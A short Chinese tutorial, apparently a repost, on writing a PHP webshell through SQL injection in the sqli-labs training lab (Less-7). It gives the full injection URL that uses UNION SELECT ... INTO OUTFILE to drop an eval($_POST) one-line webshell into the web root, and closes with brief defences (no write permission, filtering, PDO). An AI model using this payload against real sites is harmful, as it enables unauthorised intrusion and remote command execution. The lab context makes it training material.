利用注入写Webshell（sql-lab第七关）

结合PHP一句话木马

利用outfile生成文件

利用条件
1、文件具有写的条件
2、知道绝对路径

以sql-lab第七关为例

http://192.168.3.10/sqli/Less-7/?id=1——》

http://192.168.3.10/sqli/Less-7/?id=1’ union select xxx into outfile ‘绝对路径’ --+

——》http://192.168.3.10/sqli/Less-7/?id=1’ union select 1,2,’<?php eval($_POST["cmd"]);?>’ into outfile ‘D:\phpStudy\PHPTutorial\WWW\sqli\Less-7\kk.php’


查看一下生成的kk.php

防御：
不开启写条件
过滤
PDO

总结

以上是生活随笔为你收集整理的利用注入写Webshell（sql-lab第七关）的全部内容，希望文章能够帮你解决所遇到的问题。

如果觉得生活随笔网站内容还不错，欢迎将生活随笔推荐给好友。